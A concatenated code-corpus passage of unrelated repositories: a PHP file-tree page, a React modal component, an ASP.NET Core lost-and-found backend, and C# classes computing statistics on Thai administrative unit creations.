if (document.documentElement && document.documentElement.clientHeight && document.documentElement.clientWidth) {
winHeight = document.documentElement.clientHeight;
winWidth = document.documentElement.clientWidth;
}
var seeSize = [];
seeSize['width'] = winWidth;
seeSize['height'] = winHeight;
return seeSize;
}
$.ajax({
url: "<?php echo $baseUrl?>?json",
type: "POST",
data: {},
dataType: "json",
success: function (response, xml) {},
fail: function (status) {
alert('出现问题:' + status);
}
});
</script>
</div>
</body>
</html><file_sep><?php
/**
* @doc 文件目录-树处理相关
* @author Heanes <<EMAIL>>
* @time: 2017-02-17 18:12:49 周五
*/
?>
<!DOCTYPE html>
<html lang="zh-cmn-Hans">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="renderer" content="webkit">
<meta name="author" content="Heanes heanes.com email(<EMAIL>)">
<meta name="keywords" content="软件,商务,HTML,tutorials,source codes">
<meta name="description" content="file-tree,文件目录-树处理">
<title>文件目录-树处理</title>
</head>
<body>
<div class="center wrap">
<input type="text" placeholder="请输入文件路径(绝对路径)" />
</div>
</body>
</html>
<file_sep>1. 更多的前端工具,@see http://www.css88.com/nav/ | 178bfe3102740755394ed9d46460e148a24c8c35 | [
"Markdown",
"PHP"
] | 3 | PHP | Heanes/tools-php | 41853bcd81be4277b3099f9d8aee49afa086acde | d5aabf0a8fe01dd2fd836e17070d5b63414d49a6 |
refs/heads/master | <file_sep>import React, { Component } from 'react';
import './App.css';
import Modal from './component/modal';
class App extends Component {
state={
show:false
}
showModel=()=>{
this.setState({
show:!this.state.show
})
}
closeModal=()=>{
this.setState({
show:false
})
}
render() {
return (
<div className="App">
<button onClick={this.showModel}>show Modal</button>
<Modal show={this.state.show} close={this.closeModal}>
组件内容
</Modal>
</div>
);
}
}
export default App;
<file_sep>import React from 'react';
import ReactDOM from 'react-dom';
const wrapper={
position:'fixed',
left:0,
top:0,
right:0,
bottom:0,
background:'rgba(0,0,0,0.3)'
}
const modal={
position:'absolute',
left:0,
top:0,
right:0,
bottom:0,
overflow:'auto',
margin:'30px 0px'
}
const content={
width:800,
position:'absolute',
left:'50%',
top:'10%',
border:'1px solid #ccc',
borderRadius:5,
transform:'translateX(-50%)',
background:'#fff',
padding:50,
boxSizing:'border-box'
}
const close={
position:'absolute',
right:0,
top:-30,
cursor:'pointer',
backgroundColor:'#f5f5f5',
border:'none'
}
const modalRoot=document.getElementById('modalRoot');
class Modal extends React.Component{
constructor(props){
super(props);
this.el=document.createElement('div');
}
keyUp=(e)=>{
let code=e.keyCode || e.which;
if(code === 27 && this.props.show){
this.props.close();
}
}
componentDidMount(){
document.addEventListener("keyup",this.keyUp);
modalRoot.appendChild(this.el);
}
componentWillUnmount(){
console.log('组件即将销毁')
document.removeEventListener("keyup",this.keyUp);
}
render(){
const modalUi=(
<div style={wrapper}>
<div style={modal}>
<div style={content}>
{this.props.children}
<button onClick={this.props.close} style={close}>x</button>
</div>
</div>
</div>
);
if(!this.props.show){
return null;
}
return ReactDOM.createPortal(modalUi, this.el);
}
}
export default Modal; | 159cd58541a2471284c94d6e3145a65e5246231f | [
"JavaScript"
] | 2 | JavaScript | lRockets/react-modal | cbf0700b09e226ff614580bba179dd02666da7e8 | 0c0c50da076e30de805c7aa220f9a2558999e3c3 |
refs/heads/master | <file_sep>using AutoMapper;
using hambuna_backend.Dtos;
using hambuna_backend.Entities;
using hambuna_backend.Repositories;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace hambuna_backend.Services
{
public class LostService : ILostService
{
private ICommonRepository<Lost> _lostRepository;
private ICommonRepository<Found> _foundRepository;
public LostService(ICommonRepository<Lost> lostRepository,ICommonRepository<Found> foundRepository)
{
_lostRepository = lostRepository;
_foundRepository = foundRepository;
}
public bool CreateNewInquiry(LostDto lostDto)
{
Lost toAdd = Mapper.Map<Lost>(lostDto);
_lostRepository.Add(toAdd);
bool result = _lostRepository.Save();
return result;
}
public IEnumerable<LostDto> GetAllLostItems()
{
var lostItems = _lostRepository.GetAll().ToList();
var allLostItems = lostItems.Select(x => Mapper.Map<LostDto>(x));
return allLostItems;
}
public IEnumerable<LostDto> GetLostItemById(int postId)
{
var lostItem = _lostRepository.Get(x => x.Id == postId).ToList();
var lostItemDetails = lostItem.Select(x => Mapper.Map<LostDto>(x));
return lostItemDetails;
}
}
}
<file_sep>using AutoMapper;
using hambuna_backend.Dtos;
using hambuna_backend.Entities;
using hambuna_backend.Repositories;
using hambuna_backend.Services;
using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace hambuna_backend.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class LostController : Controller
{
private ICommonRepository<Lost> _lostRepository;
private ILostService _lostService;
public LostController(ICommonRepository<Lost> lostRepository, ILostService lostService)
{
_lostRepository = lostRepository;
_lostService = lostService;
}
[HttpPost]
[Route("create")]
public IActionResult Add([FromBody] LostDto lost)
{
Lost toAdd = Mapper.Map<Lost>(lost);
_lostRepository.Add(toAdd);
bool result = _lostRepository.Save();
if (!result)
{
return new StatusCodeResult(400);
}
return Ok(toAdd);
}
[HttpGet]
[Route("getAllLostItems")]
public IActionResult getAll()
{
var result=_lostService.GetAllLostItems();
return Ok(result);
}
[HttpGet]
[Route("getLostItemById")]
public IActionResult getLostItemById(int id)
{
var result = _lostService.GetLostItemById(id);
return Ok(result);
}
}
}
<file_sep>using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace hambuna_backend.Entities
{
public class HambunaDbContext :DbContext
{
public HambunaDbContext(DbContextOptions<HambunaDbContext> options) : base(options)
{
}
public DbSet<User> Users { get; set; }
public DbSet<Lost> Losts { get; set; }
public DbSet<Found> Founds { get; set; }
public IQueryable<User> User { get; internal set; }
public IQueryable<Lost> Lost { get; internal set; }
public IQueryable<Found> Found { get; internal set; }
}
}
<file_sep>using System.Collections.Generic;
using hambuna_backend.Dtos;
namespace hambuna_backend.Services
{
public interface ILostService
{
bool CreateNewInquiry(LostDto lostDto);
IEnumerable<LostDto> GetAllLostItems();
IEnumerable<LostDto> GetLostItemById(int postId);
}
}<file_sep>using hambuna_backend.Entities;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.Threading.Tasks;
namespace hambuna_backend.Repositories
{
public class CommonRepository<TEntity> : ICommonRepository<TEntity> where TEntity:class
{
protected readonly HambunaDbContext _context;
public CommonRepository(HambunaDbContext context)
{
_context = context;
}
public TEntity Get(int id)
{
return _context.Set<TEntity>().Find(id);
}
public IEnumerable<TEntity> GetAll()
{
return _context.Set<TEntity>().AsNoTracking().ToList();
}
public IEnumerable<TEntity> Get(Expression<Func<TEntity,bool>> predicate)
{
return _context.Set<TEntity>().Where(predicate).AsNoTracking().ToList();
}
public void Update(TEntity entity)
{
_context.Set<TEntity>().Update(entity);
}
public void Add(TEntity entity)
{
_context.Set<TEntity>().Add(entity);
}
public void Delete(TEntity entity)
{
_context.Set<TEntity>().Remove(entity);
}
public bool Save()
{
return _context.SaveChanges() >= 0;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Threading.Tasks;
namespace hambuna_backend.Entities
{
public class Found
{
public int Id { get; set; }
public string Type { get; set; }
public string Doc_Id { get; set; }
public System.DateTime CreatedAt { get; set; }
public string Description { get; set; }
public int UserId { get; set; }
[ForeignKey("UserId")]
public virtual User User { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using hambuna_backend.Dtos;
using hambuna_backend.Entities;
using hambuna_backend.Repositories;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.HttpsPolicy;
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
namespace hambuna_backend
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
public Startup(IHostingEnvironment env)
{
var builder = new ConfigurationBuilder()
.SetBasePath(env.ContentRootPath)
.AddJsonFile("appsettings.json")
.AddEnvironmentVariables();
Configuration = builder.Build();
}
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_2);
services.AddDbContext<HambunaDbContext>(options=>options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddScoped<ICommonRepository<User>, CommonRepository<User>>();
services.AddScoped<ICommonRepository<Lost>, CommonRepository<Lost>>();
services.AddScoped<ICommonRepository<Found>, CommonRepository<Found>>();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
else
{
// The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.
app.UseHsts();
}
app.UseHttpsRedirection();
AutoMapper.Mapper.Initialize(mapper =>
{
mapper.CreateMap<User, UserDto>().ReverseMap();
mapper.CreateMap<Lost, LostDto>().ReverseMap();
mapper.CreateMap<Found, FoundDto>().ReverseMap();
});
app.UseMvc();
}
}
}
| 22abaa15e14fd44b5b62b6bc67ec722487b00aca | [
"C#"
] | 7 | C# | Hambuna/Hambuna-backend | 7550f5a55977ce99085a825d1bb9ed6a2ef170a7 | cdf43e9be8015f091c306d89882b6c30f44ca7f0 |
refs/heads/master | <repo_name>abd124abd/webpack-server-boilerplate<file_sep>/client/components/app/index.js
import React, { Component } from 'react';
import {} from './style.less';
class App extends Component {
constructor() {
super();
}
render() {
return <div>Hello from React Component</div>;
}
}
export default App;
<file_sep>/README.md
# webpack-server-boilerplate
Server-rendered react/express/node webpack template with initial bundling completed as per [this setup](http://spraso.com/going-isomorphic-with-express-and-react-js/#comment-11)
```javascript
$ npm install
$ cd server
$ babel-node ./index.js
```
| e16ae9c02a989016da0cddaec0500c70f98a3a75 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | abd124abd/webpack-server-boilerplate | 67e11cb16d1b4646c03684974f57c95cece1ee9c | 118b19fb3f01e3207c839658ecdf7da81e5496b4 |
refs/heads/master | <file_sep>package Week1.Classes;
public class Rectangle {
// Fields
private int width;
private int height;
private String color;
// Constructor01
Rectangle(int width, int height){
if(width <= 0){
this.width = 1;
}else {
this.width = width;
}
if(height <= 0){
this.height = 1;
}else {
this.height = height;
}
color = "Blue";
}
// Constructor02
Rectangle(int width, int height, String color){
if(width <= 0){
this.width = 1;
}else {
this.width = width;
}
if(height <= 0){
this.height = 1;
}else {
this.height = height;
}
if(!color.substring(0,1).equals(color.substring(0,1).toUpperCase())){
throw new IllegalArgumentException("The first letter has to be capitalized.");
}else if(color.length() < 2 || color.length() > 20){
throw new IllegalArgumentException("The color name has to be more than 2 characters long and less than 20");
}else {
this.color = color;
}
}
// Methods
public void draw(){
String firstLetter = color.substring(0,1);
String widthLetter = "";
String heightLetter = widthLetter;
for(int i = 1; i <= width; i++){
widthLetter += firstLetter;
}
for(int i = 1; i <= height; i++){
System.out.println(widthLetter);
}
}
// Getter
public int getWidth(){
return width;
}
public int getHeight(){
return height;
}
public String getColor(){
return color;
}
// Setter
public void setWidth(int w){
int width = w;
}
public void setHeight(int h){
int height = h;
}
public void setHeight(String c){
String color = c;
}
}
| 95057dceda522724a949871eb0e201f8de8039aa | [
"Java"
] | 1 | Java | devyuka/Friday-Exercises-1 | 718b19283efd10ef6c7cffecace02df8baf0bd93 | 72e8adf600124bc80420a2157925a1958283cffd |
refs/heads/master | <repo_name>Ahoerstemeier/tambon<file_sep>/AHTambon/CreationStatisticsCentralGovernment.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Globalization;
namespace De.AHoerstemeier.Tambon
{
public abstract class CreationStatisticsCentralGovernment : CreationStatistics
{
#region properties
protected FrequencyCounter mNumberOfSubEntities = new FrequencyCounter();
protected FrequencyCounter mNumberOfParentEntities = new FrequencyCounter();
private Dictionary<Int32, Int32> mCreationsPerParent = new Dictionary<Int32, Int32>();
#endregion
#region methods
protected override void Clear()
{
base.Clear();
mNumberOfSubEntities = new FrequencyCounter();
mNumberOfParentEntities = new FrequencyCounter();
mCreationsPerParent = new Dictionary<Int32, Int32>();
}
protected override void ProcessContent(RoyalGazetteContent iContent)
{
base.ProcessContent(iContent);
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
Int32 lParentGeocode = lCreate.Geocode / 100;
if (!mCreationsPerParent.ContainsKey(lParentGeocode))
{
mCreationsPerParent.Add(lParentGeocode, 0);
}
mCreationsPerParent[lParentGeocode]++;
Int32 lMaxSubEntityIndex = 0;
List<Int32> lParentEntities = new List<Int32>();
foreach (RoyalGazetteContent lSubEntry in lCreate.SubEntries)
{
if (lSubEntry is RoyalGazetteContentCreate)
{
lMaxSubEntityIndex++;
}
if (lSubEntry is RoyalGazetteContentReassign)
{
lMaxSubEntityIndex++;
RoyalGazetteContentReassign lReassign = (RoyalGazetteContentReassign)lSubEntry;
Int32 lParentEntityCode = lReassign.OldGeocode / 100;
if (!lParentEntities.Contains(lParentEntityCode))
{
lParentEntities.Add(lParentEntityCode);
}
}
}
mNumberOfSubEntities.IncrementForCount(lMaxSubEntityIndex, lCreate.Geocode);
if (lParentEntities.Any())
{
mNumberOfParentEntities.IncrementForCount(lParentEntities.Count, lCreate.Geocode);
}
}
protected virtual void AppendBasicInfo(StringBuilder iBuilder)
{
String lEntityName = DisplayEntityName();
iBuilder.AppendLine(NumberOfAnnouncements.ToString() + " Announcements");
iBuilder.AppendLine(NumberOfCreations.ToString() + " "+lEntityName+" created");
iBuilder.AppendLine("Creations per announcements: " + CreationsPerAnnouncement.MeanValue.ToString("F2", CultureInfo.InvariantCulture));
iBuilder.AppendLine("Maximum creation per announcements: " + CreationsPerAnnouncement.MaxValue.ToString());
iBuilder.AppendLine();
}
protected void AppendChangwatInfo(StringBuilder iBuilder)
{
String lEntityName = DisplayEntityName();
if (NumberOfCreations > 0)
{
List<String> lChangwat = new List<String>();
Int32 lMaxNumber = 1;
foreach (PopulationDataEntry lEntry in TambonHelper.ProvinceGeocodes)
{
if (mNumberOfCreationsPerChangwat[lEntry.Geocode] > lMaxNumber)
{
lMaxNumber = mNumberOfCreationsPerChangwat[lEntry.Geocode];
lChangwat.Clear();
}
if (mNumberOfCreationsPerChangwat[lEntry.Geocode] == lMaxNumber)
{
lChangwat.Add(lEntry.English);
}
}
iBuilder.AppendLine(lMaxNumber.ToString() + " "+lEntityName+" created in");
foreach (String lName in lChangwat)
{
iBuilder.AppendLine("* " + lName);
}
iBuilder.AppendLine();
}
}
protected void AppendSubEntitiesInfo(StringBuilder iBuilder, String iSubEntityName)
{
String lEntityName = DisplayEntityName();
if (NumberOfCreations > 0)
{
iBuilder.AppendLine("Most common number of " + iSubEntityName + ": " + mNumberOfSubEntities.MostCommonValue.ToString() + " (" + mNumberOfSubEntities.MostCommonValueCount.ToString() + " times)");
iBuilder.AppendLine("Mean number of " + iSubEntityName + ": " + mNumberOfSubEntities.MeanValue.ToString("F2", CultureInfo.InvariantCulture));
iBuilder.AppendLine("Standard deviation: " + mNumberOfSubEntities.StandardDeviation.ToString("F2", CultureInfo.InvariantCulture));
iBuilder.AppendLine("Lowest number of " + iSubEntityName + ": " + mNumberOfSubEntities.MinValue.ToString());
if (mNumberOfSubEntities.MinValue > 0)
{
foreach (Int32 lGeocode in mNumberOfSubEntities.Data[mNumberOfSubEntities.MinValue])
{
iBuilder.Append(lGeocode.ToString() + ' ');
}
iBuilder.AppendLine();
}
iBuilder.AppendLine("Highest number of " + iSubEntityName + ": " + mNumberOfSubEntities.MaxValue.ToString());
if (mNumberOfSubEntities.MaxValue > 0)
{
foreach (Int32 lGeocode in mNumberOfSubEntities.Data[mNumberOfSubEntities.MaxValue])
{
iBuilder.Append(lGeocode.ToString() + ' ');
}
iBuilder.AppendLine();
}
iBuilder.AppendLine();
}
}
protected void AppendParentNumberInfo(StringBuilder iBuilder)
{
String lParentName = DisplayEntityName();
if (NumberOfCreations > 0)
{
iBuilder.AppendLine("Highest number of parent " + lParentName + ": " + mNumberOfParentEntities.MaxValue.ToString());
if (mNumberOfParentEntities.MaxValue > 1)
{
foreach (Int32 lGeocode in mNumberOfParentEntities.Data[mNumberOfParentEntities.MaxValue])
{
iBuilder.Append(lGeocode.ToString() + ' ');
}
iBuilder.AppendLine();
}
Int32[] lNumberOfParentEntities = new Int32[mNumberOfParentEntities.MaxValue + 1];
foreach (KeyValuePair<Int32, List<Int32>> lParentEntity in mNumberOfParentEntities.Data)
{
lNumberOfParentEntities[lParentEntity.Key] = lParentEntity.Value.Count;
}
for (Int32 i = 0; i <= mNumberOfParentEntities.MaxValue; i++)
{
if (lNumberOfParentEntities[i] != 0)
{
iBuilder.AppendLine(i.ToString() + ": " + lNumberOfParentEntities[i].ToString());
}
}
iBuilder.AppendLine();
}
}
protected void AppendParentFrequencyInfo(StringBuilder iBuilder, String iParentEntityName)
{
String lEntityName = DisplayEntityName();
List<KeyValuePair<Int32, Int32>> lSortedParents = new List<KeyValuePair<Int32, Int32>>();
lSortedParents.AddRange(mCreationsPerParent);
lSortedParents.Sort(delegate(KeyValuePair<Int32, Int32> x, KeyValuePair<Int32, Int32> y) { return y.Value.CompareTo(x.Value); });
if (lSortedParents.Any())
{
KeyValuePair<Int32, Int32> lFirst = lSortedParents.ElementAt(0);
iBuilder.AppendLine("Most "+lEntityName+" created in one " + iParentEntityName + ": " + lFirst.Value.ToString());
foreach (KeyValuePair<Int32, Int32> lEntry in lSortedParents.FindAll(
delegate(KeyValuePair<Int32, Int32> x) { return (x.Value == lFirst.Value); }))
{
iBuilder.Append(lEntry.Key.ToString() + ' ');
}
iBuilder.Remove(iBuilder.Length - 1, 1);
}
iBuilder.AppendLine();
}
protected void AppendDayOfYearInfo(StringBuilder iBuilder)
{
String lEntityName = DisplayEntityName();
DateTime lBaseDateTime = new DateTime(2004, 1, 1);
List<KeyValuePair<Int32, Int32>> lSortedDays = new List<KeyValuePair<Int32, Int32>>();
lSortedDays.AddRange(EffectiveDayOfYear);
lSortedDays.Sort(delegate(KeyValuePair<Int32, Int32> x, KeyValuePair<Int32, Int32> y) { return y.Value.CompareTo(x.Value); });
Int32 lCount = 0;
if (lSortedDays.Any())
{
foreach (KeyValuePair<Int32, Int32> lData in lSortedDays)
{
DateTime lCurrent = lBaseDateTime.AddDays(lData.Key-1);
iBuilder.AppendLine(lCurrent.ToString("MMM dd") + ": " + EffectiveDayOfYear[lData.Key].ToString() + " " + lEntityName + " created");
lCount++;
if (lCount > 10)
{
break;
}
}
iBuilder.AppendLine();
}
}
protected abstract String DisplayEntityName();
#endregion
}
}
<file_sep>/TambonMain/CreationStatisticsMuban.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsMuban : CreationStatisticsCentralGovernment
{
#region properties
private Int32 _creationsWithoutParentName;
private FrequencyCounter _highestMubanNumber = new FrequencyCounter();
private Dictionary<String, Int32> _newNameSuffix = new Dictionary<string, Int32>();
private Dictionary<String, Int32> _newNamePrefix = new Dictionary<string, Int32>();
#endregion properties
#region constructor
public CreationStatisticsMuban()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsMuban(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion constructor
#region methods
protected override String DisplayEntityName()
{
return "Muban";
}
protected override void Clear()
{
base.Clear();
_newNameSuffix = new Dictionary<string, Int32>();
_newNamePrefix = new Dictionary<string, Int32>();
_highestMubanNumber = new FrequencyCounter();
_creationsWithoutParentName = 0;
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Muban);
return result;
}
protected void ProcessContentForName(GazetteCreate create)
{
UInt32 tambonGeocode = create.geocode / 100;
String name = create.name.StripBanOrChumchon();
if ( !String.IsNullOrEmpty(name) )
{
String parentName = String.Empty;
foreach ( var subEntry in create.Items )
{
var areaChange = subEntry as GazetteAreaChange;
if ( areaChange != null )
{
if ( !String.IsNullOrEmpty(areaChange.name) )
{
parentName = areaChange.name;
}
// this really happened once, so cannot use this check for sanity of input data
// Debug.Assert(tambonGeocode == (areaChange.geocode / 100), String.Format("Parent muban for {0} has a different geocode {1}", create.geocode, areaChange.geocode));
}
}
parentName = parentName.StripBanOrChumchon();
if ( !String.IsNullOrEmpty(parentName) )
{
if ( name.StartsWith(parentName) )
{
String suffix = name.Remove(0, parentName.Length).Trim();
if ( _newNameSuffix.ContainsKey(suffix) )
{
_newNameSuffix[suffix]++;
}
else
{
_newNameSuffix.Add(suffix, 1);
}
}
if ( name.EndsWith(parentName) )
{
String prefix = name.Replace(parentName, "").Trim();
if ( _newNamePrefix.ContainsKey(prefix) )
{
_newNamePrefix[prefix]++;
}
else
{
_newNamePrefix.Add(prefix, 1);
}
}
}
else
{
_creationsWithoutParentName++;
}
}
}
protected override void ProcessContent(GazetteCreate content)
{
base.ProcessContent(content);
UInt32 mubanNumber = content.geocode % 100;
if ( mubanNumber != content.geocode )
{
_highestMubanNumber.IncrementForCount(Convert.ToInt32(mubanNumber), content.geocode);
}
ProcessContentForName(content);
}
protected Int32 SuffixFrequency(String suffix)
{
Int32 result = 0;
if ( _newNameSuffix.ContainsKey(suffix) )
{
result = _newNameSuffix[suffix];
}
return result;
}
protected Int32 PrefixFrequency(String iSuffix)
{
Int32 retval = 0;
if ( _newNamePrefix.ContainsKey(iSuffix) )
{
retval = _newNamePrefix[iSuffix];
}
return retval;
}
protected Int32 SuffixFrequencyNumbers()
{
Int32 result = 0;
foreach ( var keyValue in _newNameSuffix )
{
String name = ThaiNumeralHelper.ReplaceThaiNumerals(keyValue.Key);
if ( (!String.IsNullOrEmpty(name)) && (name.IsNumeric()) )
{
result = result + keyValue.Value;
}
}
return result;
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendProblems(lBuilder);
AppendChangwatInfo(lBuilder);
AppendMubanNumberInfo(lBuilder);
AppendParentFrequencyInfo(lBuilder, "Tambon");
AppendChangwatInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
AppendNameInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
private void AppendProblems(StringBuilder iBuilder)
{
if ( _creationsWithoutParentName > 0 )
{
iBuilder.AppendLine(_creationsWithoutParentName.ToString() + " have no parent name");
}
}
private void AppendMubanNumberInfo(StringBuilder iBuilder)
{
iBuilder.AppendLine("Highest number of muban: " + _highestMubanNumber.MaxValue.ToString());
if ( _highestMubanNumber.MaxValue > 0 )
{
foreach ( Int32 lGeocode in _highestMubanNumber.Data[_highestMubanNumber.MaxValue] )
{
iBuilder.Append(lGeocode.ToString() + ' ');
}
}
iBuilder.AppendLine();
}
private void AppendNameInfo(StringBuilder builder)
{
builder.AppendLine(String.Format("Name equal: {0} times", SuffixFrequency(String.Empty)));
List<String> standardSuffices = new List<String>() { "เหนือ", "ใต้", "พัฒนา", "ใหม่", "ทอง", "น้อย", "ใน" };
foreach ( String suffix in standardSuffices )
{
builder.AppendLine(String.Format("Suffix {0}: {1} times", suffix, SuffixFrequency(suffix)));
}
builder.AppendLine("Suffix with number:" + SuffixFrequencyNumbers().ToString() + " times");
List<String> standardPrefixes = new List<String>() { "ใหม่" };
foreach ( String prefix in standardPrefixes )
{
builder.AppendLine(String.Format("Prefix {0}: {1} times", prefix, PrefixFrequency(prefix)));
}
builder.AppendLine();
builder.Append("Other suffices: ");
var sortedSuffices = new List<KeyValuePair<String, Int32>>();
foreach ( var keyValuePair in _newNameSuffix )
{
String name = ThaiNumeralHelper.ReplaceThaiNumerals(keyValuePair.Key);
if ( standardSuffices.Contains(name) )
{
}
else if ( String.IsNullOrEmpty(keyValuePair.Key) )
{
}
else if ( name.IsNumeric() )
{
}
else
{
sortedSuffices.Add(keyValuePair);
}
}
sortedSuffices.Sort(delegate(KeyValuePair<String, Int32> x, KeyValuePair<String, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
foreach ( var keyValuePair in sortedSuffices )
{
builder.Append(keyValuePair.Key + " (" + keyValuePair.Value.ToString() + ") ");
}
builder.AppendLine();
}
#endregion methods
}
}<file_sep>/TambonMain/Office.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class Office
{
/// <summary>
/// Gets the best fit from the <see cref=" url">list of websites</see>.
/// </summary>
/// <value>The preferred website URL.</value>
public String PreferredWebsite
{
get
{
var urls = url.Where(x => x.status == MyUriStatus.unknown || x.status == MyUriStatus.online || x.status == MyUriStatus.inaccessible);
urls = urls.Where(x => x.lastcheckedSpecified && (DateTime.Now - x.lastchecked).Days < 365);
if ( urls.Any() )
{
return urls.FirstOrDefault().Value;
}
else
{
return String.Empty;
}
}
}
}
}<file_sep>/AHTambon/ConstituencyEntry.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
using System.IO;
namespace De.AHoerstemeier.Tambon
{
public class ConstituencyEntry : ICloneable
{
#region properties
private List<PopulationDataEntry> lAdministrativeEntities = new List<PopulationDataEntry>();
public List<PopulationDataEntry> AdministrativeEntities
{ get { return lAdministrativeEntities; } }
private Dictionary<PopulationDataEntry, List<PopulationDataEntry>> lExcludedAdministrativeEntities = new Dictionary<PopulationDataEntry, List<PopulationDataEntry>>();
public Dictionary<PopulationDataEntry, List<PopulationDataEntry>> ExcludedAdministrativeEntities
{ get { return lExcludedAdministrativeEntities; } }
private Dictionary<PopulationDataEntry, List<PopulationDataEntry>> lSubIncludedAdministrativeEntities = new Dictionary<PopulationDataEntry, List<PopulationDataEntry>>();
public Dictionary<PopulationDataEntry, List<PopulationDataEntry>> SubIncludedAdministrativeEntities
{ get { return lSubIncludedAdministrativeEntities; } }
public Int32 NumberOfSeats { get; set; }
public Int32 Index { get; set; }
#endregion
#region constructor
public ConstituencyEntry()
{
NumberOfSeats = 1;
}
public ConstituencyEntry(ConstituencyEntry value)
{
NumberOfSeats = value.NumberOfSeats;
Index = value.Index;
foreach ( PopulationDataEntry lSubEntity in value.AdministrativeEntities )
{
AdministrativeEntities.Add((PopulationDataEntry)lSubEntity.Clone());
}
foreach ( var lKeyValuePair in value.ExcludedAdministrativeEntities )
{
ExcludedAdministrativeEntities[lKeyValuePair.Key] = new List<PopulationDataEntry>();
foreach ( PopulationDataEntry lSubEntity in lKeyValuePair.Value )
{
ExcludedAdministrativeEntities[lKeyValuePair.Key].Add((PopulationDataEntry)lSubEntity.Clone());
}
}
foreach (var lKeyValuePair in value.SubIncludedAdministrativeEntities)
{
SubIncludedAdministrativeEntities[lKeyValuePair.Key] = new List<PopulationDataEntry>();
foreach (PopulationDataEntry lSubEntity in lKeyValuePair.Value)
{
SubIncludedAdministrativeEntities[lKeyValuePair.Key].Add((PopulationDataEntry)lSubEntity.Clone());
}
}
}
#endregion
#region methods
public Int32 Population()
{
Int32 lResult = 0;
foreach ( PopulationDataEntry lEntry in AdministrativeEntities )
{
lResult += lEntry.Total;
}
foreach ( var lKeyValuePair in ExcludedAdministrativeEntities )
{
foreach ( PopulationDataEntry lEntry in lKeyValuePair.Value )
{
lResult -= lEntry.Total;
}
}
foreach (var lKeyValuePair in SubIncludedAdministrativeEntities)
{
foreach (PopulationDataEntry lEntry in lKeyValuePair.Value)
{
lResult += lEntry.Total;
}
}
return lResult;
}
internal static ConstituencyEntry Load(XmlNode iNode)
{
ConstituencyEntry RetVal = null;
if ( iNode != null && iNode.Name.Equals("constituency") )
{
RetVal = new ConstituencyEntry();
RetVal.Index = TambonHelper.GetAttributeOptionalInt(iNode, "index", 0);
RetVal.NumberOfSeats = TambonHelper.GetAttributeOptionalInt(iNode, "numberofseats", 1);
if ( iNode.HasChildNodes )
{
foreach ( XmlNode lChildNode in iNode.ChildNodes )
{
if ( lChildNode.Name == "include" )
{
PopulationDataEntry lEntity = new PopulationDataEntry();
lEntity.Geocode = TambonHelper.GetAttributeOptionalInt(lChildNode, "geocode", 0);
foreach ( XmlNode lSubChildNode in lChildNode.ChildNodes )
{
if ( lSubChildNode.Name == "exclude" )
{
PopulationDataEntry lExcludedEntity = new PopulationDataEntry();
lExcludedEntity.Geocode = TambonHelper.GetAttributeOptionalInt(lSubChildNode, "geocode", 0);
if ( !RetVal.ExcludedAdministrativeEntities.ContainsKey(lEntity) )
{
RetVal.ExcludedAdministrativeEntities[lEntity] = new List<PopulationDataEntry>();
}
RetVal.ExcludedAdministrativeEntities[lEntity].Add(lExcludedEntity);
}
}
RetVal.AdministrativeEntities.Add(lEntity);
}
if ( lChildNode.Name == "includesub" )
{
PopulationDataEntry lEntity = new PopulationDataEntry();
lEntity.Geocode = TambonHelper.GetAttributeOptionalInt(lChildNode, "geocode", 0);
foreach ( XmlNode lSubChildNode in lChildNode.ChildNodes )
{
if ( lSubChildNode.Name == "include" )
{
PopulationDataEntry lIncludedEntity = new PopulationDataEntry();
lIncludedEntity.Geocode = TambonHelper.GetAttributeOptionalInt(lSubChildNode, "geocode", 0);
if ( !RetVal.SubIncludedAdministrativeEntities.ContainsKey(lEntity) )
{
RetVal.SubIncludedAdministrativeEntities[lEntity] = new List<PopulationDataEntry>();
}
RetVal.SubIncludedAdministrativeEntities[lEntity].Add(lIncludedEntity);
}
}
